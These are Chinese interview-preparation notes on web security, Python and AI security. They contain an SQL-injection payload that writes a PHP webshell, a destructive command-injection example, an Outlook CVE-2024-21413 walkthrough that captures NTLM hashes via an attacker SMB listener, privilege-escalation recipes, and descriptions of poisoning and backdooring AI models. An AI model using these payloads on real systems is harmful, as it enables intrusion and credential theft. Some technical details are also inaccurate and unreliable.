owasp top10

OWASP,开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)是一个非营利组织

OWASP项目最具权威的就是其“十大安全漏洞列表”(OWASPTop 10)

A01 失效的访问控制

描述

访问控制技术通常应用在数据安全领域,用于限制不同级别的用户的权限

最小权限原则:用户、程序或系统进程应当拥有完成其任务所必需的最小权限和资源。

失效的访问控制权限即越权漏洞

越权漏洞通常发生在网站、APP功能里,攻击者绕过授权对一些需要验证当前身份,权限的功能进行访问并操作

攻击类型

越权漏洞分为水平越权和垂直越权

水平越权即获取同层次的其他用户权限,进而获取账号敏感信息、执行其他用户的功能

垂直越权即使用低权限的账号来执行高权限账号的操作

Web 程序功能流程是登录 - 提交请求 - 验证权限 - 数据库查询 - 返回结果

常规的程序如果只依靠登录这一步来验证用户的身份,而不对其它操作上设置权限验证,则会导致越权漏洞产生

漏洞场景

  1. 隐藏URL

    对管理员的界面未进行权限验证,仅仅是隐藏它在普通页面上的入口

    攻击者通过获取泄露的管理员界面URL或者爆破该URL,可以进行垂直越权

  2. 直接对象引用

    当请求中的参数未经过权限验证,用户可能进行水平越权

    例如某些网站的个人信息页面依据get请求的id参数,若未进行权限验证,则可以通过修改id来查看其他人的信息

  3. 多阶段功能

    当一个功能有多个阶段的实现,如果其中某些阶段没有进行权限验证,那么攻击者可以在这些阶段实施攻击

  4. 静态文件

    同样某些网站的静态文件下载未设置权限访问,那么攻击者可以依据URL命名规则来遍历下载网站中的静态文件

漏洞预防

  1. 开发人员和QA人员应进行访问控制功能的单元测试和集成测试

  2. 除公开的资源外,其他资源默认设置为拒绝存取。

  3. 每次调用某个接口或API时,先校验权限

    例如下面的流程:

    • 对URL地址解码,获取地址中的接口名称
    • 提取用户的id,检测id和提供的密码等验证手段是否匹配
    • 检测该用户是否有权限进行该API操作(避免垂直越权)
    • 检测用户是否有读取操作的对象的权限(避免水平越权)
  4. 使用 SSL等加密手段保护会话身份验证 Cookie

A02 加密机制失效

描述

之前该漏洞被称为敏感数据暴露,但事实上敏感数据泄露的根本原因在于未加密敏感数据,或者加密算法过时、有缺陷

漏洞预防

  1. 确保加密所有静态的敏感数据。
  2. 对包含敏感数据的响应禁用缓存。
  3. 确保使用了最新的,强大的标准算法、协议和密钥,并且密钥管理到位
  4. 确保没有使用http协议的网页

A03 注入

攻击类型

常见注入类型包括跨站点脚本、SQL注入、文件名或路径的外部控制等等

  • SQL 注入: 通过在 SQL 语句中注入恶意代码来执行不受信任的操作,以获取敏感数据或者篡改数据。

  • 命令注入:攻击者通过输入操作系统命令或 shell 脚本的 payload 来注入恶意代码,例如添加删除、保存到磁盘、操纵文件系统和执行任意代码等。

    示例:

    假设我们提供一个搜索功能,底层是通过grep命令来查看文件系统中是否存在某个字符串。

    如果我们再搜索框中注入系统命令,填入

    1
    searchterm | rm /f /

    则服务器执行可能变为

    1
    grep searchterm | rm /f /

    从而导致服务器上的文件被删除。

  • LDAP 注入: 利用 LDAP 查询中的漏洞来获取敏感信息或者更改应用程序的行为。

  • OS 注入: 利用操作系统的漏洞,向服务器输入不受信任的数据,以利用操作系统上的缺陷来执行可疑操作。

  • XML 注入: 利用 XML 编辑器中的漏洞创建恶意 XML 代码的攻击

    示例:以下是一个简单的示例,演示了如何进行XML注入攻击:

    假设一个应用程序接受用户提供的XML数据,并使用这些数据生成HTML输出。攻击者可以提供以下恶意XML数据:

    1
    2
    3
    4
    5
    <user>
    <name>John</name>
    <role>Admin</role>
    <script>alert('XSS Attack')</script>
    </user>

    复制

    如果应用程序不正确地处理输入,它可能会将这个恶意XML数据插入到HTML输出中,导致XSS(跨站脚本)攻击。攻击者的恶意脚本会在用户的浏览器中执行。

漏洞预防

  1. 将命令与查询资料分开,以防止注入式攻击。
  2. 添加过滤或者部署WAF

A04 不安全设计

描述

该漏洞关注功能的设计问题,如果在设计上存在漏洞,那么攻击者可以来利用功能本身的规则来攻击

一个例子就是恢复密码时使用“密保问题”这种设计:如果攻击者能够通过社工收集到用户设置的答案,那么就能直接重置用户的密码

漏洞预防

在软件开发流程中,通常开发在前,测试在后。

一个漏洞在提交前可能在几十分钟内就能修复,而在测试阶段的修复成本则会上升到几天时间,如果投入生产后漏洞才被发现,那么甚至需要几周或者几个月来修复

安全左移意味着,在开发流程中,尽量在代码提交阶段即发现潜在安全漏洞,这是修复成本最低的方式。

我们可以使用威胁建模的方法提前发现风险

威胁建模过程应包括四个主要步骤:

  1. 分解应用程序或基础架构
  2. 确定威胁
  3. 确定对策和缓解措施
  4. 排序威胁

第一步分解应用程序,即了解应用程序及其与外部实体的交互方式。这涉及创建用例,以了解应用程序的使用方式,确定入口点以查看潜在的攻击者可以在哪里与应用程序进行交互,确定资产(即攻击者可能会感兴趣的项目/区域),并标识表示应用程序将授予外部实体的访问权限的信任级别。

一种分解程序的方法是构建数据流程图,确定数据在应用的全生命周期的流向

A05 安全配置错误

描述

如今的很多应用程序都倾向于使用现成的框架、服务和组件

而这些组件如果仅使用默认的安全配置,就可能遭受黑客的自动化攻击的威胁

安全配置错误可以在应用程序的任何级别发生, 网络服务、平台CMS、数据库、中间件等等

漏洞预防

  1. 检查和修复安全配置来适应最新的安全说明、更新和补丁,将更新安全配置作为更新管理过程的一部分

    即发表新版本应用程序前除了功能上的更新,还应该检测各部件的安全配置更新

  2. 避免使用已经过时淘汰,或者安全性脆弱的组件

漏洞原理

CSRF(跨站请求伪造,Cross-Site Request Forgery)允许攻击者在不知情的用户的帮助下,以该用户的身份执行恶意请求。这类攻击通常针对已经向某网站进行身份认证的用户(例如,通过登录认证的用户)。

实际上攻击者并没有获取到用户在网站上的具体Cookie内容,而且请求头和请求体的内容也都是由攻击者构造的

CSRF攻击的核心在于利用了web应用程序对用户的信任。浏览器允许网站A向和自己无关的网站B发起请求(并携带网站B的Cookie)

假设用户已经登录了一个银行网站,并在同一浏览器中访问了另一个恶意网站。恶意网站可以包含一些请求,如HTML表单或JavaScript代码,这些请求被设计为自动向银行网站发送请求。因为用户已经在银行网站上验证了其身份,所以银行网站会认为这些请求是合法的用户请求。

简历

尽量不要写自己精通什么什么语言,而是可以写自己用某种语言编写的具体工具或软件,以及链接

可以附上自己的博客地址、博客内的大概内容

自我介绍模板

尊敬的面试官,您好!我是来自XX大学XX专业的本科大三学生XX,非常感谢贵公司给我这个宝贵的机会来参加面试。我应聘的是贵公司的网络安全与隐私保护工程师实习生,我认为自己的兴趣,还有掌握的技能和该岗位非常匹配。

在校期间,我加入了学校的CTF战队w4terdr0p,主要方向是密码学和web,在担任一段时间的密码手之后,我认为密码学的知识更多的还是作为一种工具,所以我开始学习web方向。通过参与CTF比赛,特别是线下决赛,我对整个渗透测试的流程有了一定的认知,也积累了很多攻防上的经验,例如一些渗透工具的使用细节。同时,在校期间我也参与了大学生创新创业大赛,并凭借内容安全相关的课题,也就是文字识别与对抗,获得了校级优秀项目和院级第一名。我认为这次经历为我积累了人工智能的研究经验,也给予了我一些知识体系和思路,在人工智能时代如何将AI应用在安全领域。

我希望能将自己所学的东西,在一个更大的平台上发挥,例如参加贵公司的网络攻防演练,积累经验,在网络安全领域继续深挖。我的自我介绍完毕,您看有什么要和我聊的技术问题吗?

  • 尽量不要去大篇幅介绍自己的学校和专业

  • 满足岗位的3个优势

  • 不要做复述简历式的自我介绍

面试技巧

  1. 面试最怕的不是你不知道某些内容,而是你由于紧张把知道的变成不知道的
  2. 面试官不会过多测试你的知识广度,而是针对某个知识点的细节来深入考察
  3. 面试官会针对简历上的项目经历或者比赛经历,让你描述细节和感受,所以提前想好项目中遇到了哪些问题,又是如何解决的
  4. 引导面试官询问你擅长的领域
  5. 在自我介绍完毕或者回答完问题后,最好有个结尾:“我的自我介绍完毕,您看有什么要和我聊的技术问题吗”
  6. 对话时最好顺着面试官的话说,让他觉得和你沟通很顺畅

安全八股

http和https的区别

HTTP与HTTPS的区别,详细介绍_http和htpps的区别-CSDN博客

正向反向代理区别

  1. 代理对象不同
    • 正向代理(Forward Proxy):正向代理代理的是客户端。客户端发送请求时,会先发送到正向代理服务器,由正向代理服务器代替客户端去访问目标服务器。这样,目标服务器看到的是代理服务器的IP地址,而不是真实客户端的IP地址。
    • 反向代理(Reverse Proxy):反向代理代理的是服务器。客户端向服务器发送请求时,实际上是先发送到反向代理服务器,由反向代理服务器转发请求到真正的目标服务器上。对于客户端来说,它感知到的只是反向代理服务器。
  2. 主要用途
    • 正向代理的主要用途是帮助客户端访问无法直接访问的网络资源,如跨越网络访问限制、提供匿名浏览等。
    • 反向代理的主要用途包括负载均衡、缓存静态内容、提供SSL加密、压缩等,以优化内容的传输和提高后端服务器的安全性和资源利用率。

提权方法

  1. Windows系统漏洞提权
    使用systeminfo查看系统信息,根据系统安装的补丁反推存在的漏洞,然后上传对应版本的漏洞工具进行提权,执行系统命令

  2. Linux脏牛漏洞提权
    脏牛漏洞利用条件竞争,修改root账户信息,也就是强制覆盖/etc/passwd文件的第一行,同时对源文件进行了备份,其本质是利用线程并发引发的线程安全问题

​ 使用uname -a查看内核信息,上传对应版本的脏牛工具,然后编译工具进行提权

  1. MySQL的UDF提权
    UDF是mysql的一个接口,用来创建自定义函数(包括系统命令),但需要dll(程序扩展文件)作为udf的执行库

    使用UDF提权有两个前提:

    • mysql服务以管理员身份运行
    • mysql开启远程连接和文件读写功能,并且知道mysql的账号跟密码

    将准备好的dll文件上传到MySQL的plugin目录下,然后利用dll文件创建执行系统命令的函数,就能执行任意系统命令了

  2. 第三方软件提权
    FileZilla分为客户端和服务端,客户端使用21端口,服务端使用14147端口,并且只允许本地连接
    攻击者利用端口转发,将14147端口映射到其他端口,并使用客户端连接,就可以实现上传和下载等操作,比如将恶意文件写入开机启动项,从而实现提权

常见服务端口

21 ftp 文件传输协议
22 ssh 远程连接
23 telnet 远程连接
25 smtp 邮件服务
53 DNS 域名系统
67 DHCP
1433 MSSQL SQL server数据库
1521 Oracle Oracle数据库
2181 zookeeper 分布式服务框架
3306 MySQL MySQL数据库
6379 Redis Redis非关系型数据库
7001 Weblogic Weblogic中间件
80/8080 web Web服务端口
9200 ElasticSearch 搜索引擎

Outlook远程代码执行漏洞

Outlook 是一个广泛使用的电子邮件客户端和个人信息管理工具

攻击者将一个带恶意链接的邮件发送给被攻击用户,当用户点击链接时,会导致NTLM窃取与远程代码执行(RCE),并且该漏洞还能使攻击者能够绕过Office文档的受保护视图。

  1. 搭建邮件服务器

    下载安装hMailServer

    使用youtube.com域名,该域名可以正常投递到163邮箱

  2. 使用工具https://github.com/duy-31/CVE-2024-21413

    ./cve-2024-21413.sh [hMailServer ip] [hMailServer port] [hMailServer sender email ] [outlook reveiver email ] "\\[NTLM reveiver ip]\test\duy31.txt"

  3. 使用kali作为监听机

    sudo impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp

  4. 用户点击链接后,攻击者成功接收用户的NTLM,利用NTLM可以进行提权或域内横向移动

漏洞原理:该漏洞实现了任意SMB url访问

如果文档中嵌入了带有 http 或 https 的超链接,Outlook 就会启动默认浏览器来显示它。例如:

1
<a href="skype:SkypeName?call">Call me on Skype</a>

但此时会有弹窗告警

Payload的精髓是加了一个感叹号!,根据官方文档,当链接里有!时,会将整体识别为两部分,感叹号前面的叫FileMoniker,感叹号后面的(something)叫ItemMoniker。接下来windows会在后台调用Word组件,word会首先打开第一部分指向的文件(\10.10.111.111\test\test.rtf),之后会在文件内部寻找ItemMoniker对象(something)。

但此链接是SMB协议的,该协议是windows进行文件共享的协议,认证过程会携带NTLM凭据。所以只要访问攻击者的机器,攻击者即可接收到NTLM,之后可以用hashcat等进行爆破。同时因为outlook会直接下载该链接的文件,当文件是RTF系列漏洞的攻击payload时,相应的漏洞就会被触发,进行进一步命令执行利用。

dnslog平台

面试题

  1. 渗透测试基本流程

    1. 签署渗透测试授权书
    2. 信息收集,资产信息(域名、子域名、IP、端口服务),WEB信息(CDN、CMS、框架)
    3. 漏洞发现
    4. 漏洞利用
    5. 权限提升
    6. 内网渗透
      • 内网信息收集
      • 内网横向移动
      • 内网权限维持
    7. 清理痕迹
    8. 撰写渗透测试报告
  2. SQL注入更具攻击方式分为哪些类型?各类型负责解决哪些问题

    联合查询注入:页面有回显的情况下查询

    报错注入:页面无回显但是有报错信息

    盲注:解决无回显状态下的数据查询

    Dnslog注入:解决windows系统上页面无回显

    宽字节:解决单引号过滤或gpc(魔术引号)开启

  3. sql注入写入webshell的条件

    • 拥有数据库的root用户权限
    • 设置secure_file_priv=""
    • 知道网站根目录的绝对路径

    payload利用into outfile:1' union select 1,'<?php eval($_POST[a]);?>'INTO OUTFILE '/var/www/tmp/a.php'#

  4. 宽字节注入的原理?如何利用?

    原理主要利用了数据库和Web应用程序之间编码不一致,mysql使用的是gbk

    在单引号前面加一个特殊字节序列,比如%df

  5. 二次注入的漏洞原理?如何利用?

    将构造的恶意查询语句存储在数据库中,然后在后续的查询中再次使用存储的恶意语句

    先注册一个admin'#的账号

    此时登录上账号并修改密码,修改的就是admin的密码,因为查询语句变成下面这句

    users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=',后面被注释掉了

  6. 堆叠注入的原理

    • 目标存在SQL注入漏洞
    • 目标未对分号(;)过滤
    • 目标中间层查询数据库信息时可同时执行多条SQL语句

    堆叠注入有局限性,并非在所有环境下适用

  7. XSS挖掘方法

    黑盒:见框就插、输入数据后有回显的页面

    白盒:搜索echo、print等关键字,找是否有用户可控参数

  8. 任意文件上传漏洞的原理,如何发现,条件竞争漏洞原理是什么

    网站存在文件上传功能,允许用户上传与当前网站类型一致的脚本文件,并执行解析

    条件竞争漏洞:在脚本文件被删除前,立即访问

  9. 文件上传漏洞的白名单过滤如何绕过

    • 上传图片马,并结合文件包含漏洞
    • 如果仅基于content-type来白名单绕过,则可以抓包绕过
  10. RFI和LFI的区别

    来源不同:以格式设计本地服务器的文件,另一个则是包含远程文件

    配置不同:RFI还额外需要服务器允许远程URL include

    危害不同:LFI主要是消息泄漏,而RFI则更具侵入性

  11. SSRF产生原理

    • 服务端存在发起网络请求的功能,如file_get_contents()
    • 服务端中发起网络请求的函数中,存在用户可控参数
    • 未对url等参数严格过滤

    挖掘思路

    • 黑盒:寻找filename、file、url之类的参数,或者测试url参数
    • 白盒:查找file_get_content之类的函数
  12. CSRF和SSRF的区别

    攻击目标不同、危害不同、信任原理不同:CSRF利用网站对用户浏览器的信任,SSRF利用服务器对用户输入url的信任

    CSRF防御:使用token、检查referer头、输验证码、cookie属性

    SSRF防御:输入过滤、验证码、url白名单

  13. 正向shell和反向shell区别

Python基础面试题

  1. find()和rfind()

    1
    2
    3
    4
    5
    6
    7
    strs = 'I like python and java'
    one = strs.find('n')
    print(one)
    # 12
    two = strs.rfind('n')
    print(two)
    # 15
  2. strip()

    strip可以删除字符串的某些字符

    s.strip(rm) 删除s字符串中开头、结尾处,位于 rm删除序列的字符

    s.lstrip(rm) 删除s字符串中开头处,位于 rm删除序列的字符

    s.rstrip(rm) 删除s字符串中结尾处,位于 rm删除序列的字符

    删除直到遇到非删除序列的字符时停止

  3. 列表、元组和字典的区别

    列表:顺序存储结构,占更多存储空间(默认存了指针),元素不必相同,用”[]”表示。

    元组:元组和列表在结构上没有什么区别,唯一的差异在于元组是只读的,不能修改。元组用“()”表示。

    字典:字典定义了键和值之间一对一的关系,但它们是以无序的方式储存的。定义 Dictionary 使用一对大(花)括号”{}”。

    集合:集合中只能放置可哈希对象,该数据结构提供了高效的成员查找、添加和删除操作。这些操作之所以快速,主要归功于集合内部使用的哈希表(hash table)实现。

  4. init

    init是Python中的方法或构造函数。创建类的新对象/实例时,将自动调用此方法以分配内存。所有类都具有init方法。

  5. lambada函数

    匿名函数称为lambda函数。此函数可以具有任意数量的参数,但是只能有一个语句。

    lambda [arg1,arg2,.....argn]:expression

  6. random.shuffle用于将列表项随机化

    1
    2
    3
    4
    from random import shuffle
    x = ['Keep', 'The', 'Blue', 'Flag', 'Flying', 'High']
    shuffle(x)
    print(x)

    输出如下

    1
    ['Flying', 'Keep', 'Blue', 'High', 'The', 'Flag']
  7. 就功能而言,在大多数情况下,xrange和range完全相同。它们都提供了一种生成整数列表供您使用的方法,但是您可以随意使用。唯一的区别是range返回一个Python列表对象,而x range返回一个xrange对象。

    这意味着xrange在运行时实际上不会像range那样生成静态列表。它使用称为yield的特殊技术根据需要创建值。

  8. Python 是一种解释性语言,这意味着它通常在运行时由一个解释器逐行执行代码,不需要事先编译。这使得Python的开发过程可以更快速迭代,因为你可以即写即运行,不需等待编译过程。

    C语言 是一种编译性语言,它需要使用编译器将代码完全转换成机器语言后,才能在计算机上运行。这个过程涉及优化、链接等步骤,编译出的程序通常执行速度更快。

    Python 自动管理内存,使用垃圾收集器来处理不再使用的内存空间,这使得程序员可以更专注于程序逻辑而不是内存管理。

  9. 如何删除python删除文件

    使用os.remove()

  10. 如何将值添加到python数组?

    可以使用append()extend()insert(i,x) 函数元素添加到数组

    1
    2
    3
    4
    5
    6
    7
    a=arr.array('d', [1.1 , 2.1 ,3.1] )
    a.append(3.4)
    print(a)
    a.extend([4.5,6.3,6.8])
    print(a)
    a.insert(2,3.8)
    print(a)
  11. Python中的猴子补丁是什么?

  12. 术语“猴子补丁”仅指运行时对类或模块的动态修改。

  13. 考虑以下示例:

    1
    2
    3
    4
    # m.py
    class MyClass:
    def f(self):
    print "f()"

    然后我们可以像这样运行猴子补丁测试:

    1
    2
    3
    4
    5
    6
    7
    import m
    def monkey_f(self):
    print "monkey_f()"

    m.MyClass.f = monkey_f
    obj = m.MyClass()
    obj.f()

    输出如下:

    1
    monkey_f()
  14. python允许多态

AI安全

我们可以从AI的全生命周期来分别探讨可能遇到的攻击

数据投毒

数据投毒是在数据收集或数据预处理阶段对数据集进行篡改的攻击方式。攻击者通过修改、添加或删除数据中的某些条目,使得整个数据集带有误导性或恶意性。

与其他攻击相比,数据投毒直接影响训练数据的质量和完整性,它是在模型学习之前进行的,因此可以在不知道模型具体结构和参数的情况下进行。

特征碰撞法

在这种攻击方法中,攻击者设计一个或多个恶意样本,使得它们在特征空间中与目标样本非常接近或重叠,但具有不同的标签。设置的优化目标为中毒图像p和目标图像t之间的特征差异以及中毒图像t与基类图像b之间的像素差异

  • 隐蔽性:由于恶意样本在特征空间中与正常样本相近,这种攻击在数据集中不易被察觉。
  • 针对性:这种方法通常针对特定的样本或样本组,意在改变模型对这些特定样本的预测结果。
  • 效率:需要较少的恶意样本来实现攻击目的,因为攻击集中在特定的冲突点。

凸多面体攻击

攻击者首先识别出模型在特征空间中用于决策的关键区域,然后在这些区域内构建一个凸多面体(即由多个恶意样本形成的凸形几何体)。这些恶意样本被设计为围绕着目标决策边界,并通过改变这些区域中的决策逻辑来影响模型的行为。通常这涉及到在决策边界附近生成多个数据点,使得模型在这个凸多面体内的区域无法正确分类。。

  • 系统性干扰:这种攻击可以影响模型在整个决策区域的表现,而不仅仅是单个样本。
  • 精确控制:通过精确地操纵决策边界附近的数据点,攻击者可以在模型的决策过程中引入预期的错误。
  • 高级技术:这种攻击需要对模型的工作原理和决策边界有深入的理解,以及较强的计算能力。

后门攻击

后门攻击是指在训练数据中掺入一些具有特定特征的图片,它们具有错误的标签,一旦模型读取到这个特征,就会给出错误的判断。但是,模型对正常的数据依然具有判别能力,只会在识别到特定特征的情况下失效。这个特定特征被称为触发器。

后门攻击与纯粹的数据投毒的区别在于其隐蔽性和目标性更强,通常需要对模型的行为有精确控制,而数据投毒更多是导致模型整体性能下降或变得不稳定。

对抗样本攻击

对抗攻击通过对输入样本故意添加一些对抗攻击从样本上样本可以分为数字世界对抗样本物理世界对抗样本,从对目标模型的信息掌握程度上可以分为黑盒攻击白盒攻击。人无法察觉的细微的干扰,导致模型以高置信度给出一个错误的输出。

白盒攻击

白盒攻击可以分为基于梯度、基于优化两种方向上的攻击

基于梯度(FGSM、PGD)

基于梯度的攻击利用模型的梯度信息来确定如何修改输入数据以最大化模型的输出错误。

损失函数的梯度指向能够最大增加损失的方向。因此,对输入进行梯度符号方向的扰动,直接推动输入向使模型输出错误的方向移动,从而增加了模型输出错误的概率。

基于优化的攻击(CW)

基于优化的攻击方法则更加关注在给定的扰动限制下,通过优化算法找到能最大化模型误差的输入扰动。这些方法通常能生成更精细、更有效的对抗样本,但计算成本也相对更高。

黑盒攻击

基于迁移学习的黑盒攻击、基于得分的黑盒攻击、基于决策边界的黑盒攻击

基于迁移学习

迁移学习攻击方法基于一个关键的观察:不同模型之间可能存在一定程度的决策相似性,尤其是当它们被训练解决相似任务时。因此,对一个模型生成的对抗样本在另一个模型上也可能有效。

基于得分

基于得分的攻击利用模型输出的置信度分数(即模型对各个类别的预测概率),而不是仅仅基于模型的最终决策。

基于决策边界

基于决策边界的攻击关注于找到模型的决策边界,并在边界附近生成对抗样本。这种攻击方法不依赖于梯度或输出得分,而是直接探索输入空间,寻找能够改变模型决策的微小变化。

模型更新攻击

模型更新攻击,也称为模型更新中的投毒攻击(Model Update Poisoning Attack),是一种针对机器学习模型在其维护或更新过程中实施的安全攻击。这种攻击类型在动态学习环境中尤为常见,其中模型定期使用新收集的数据进行更新以保持其时效性和准确性。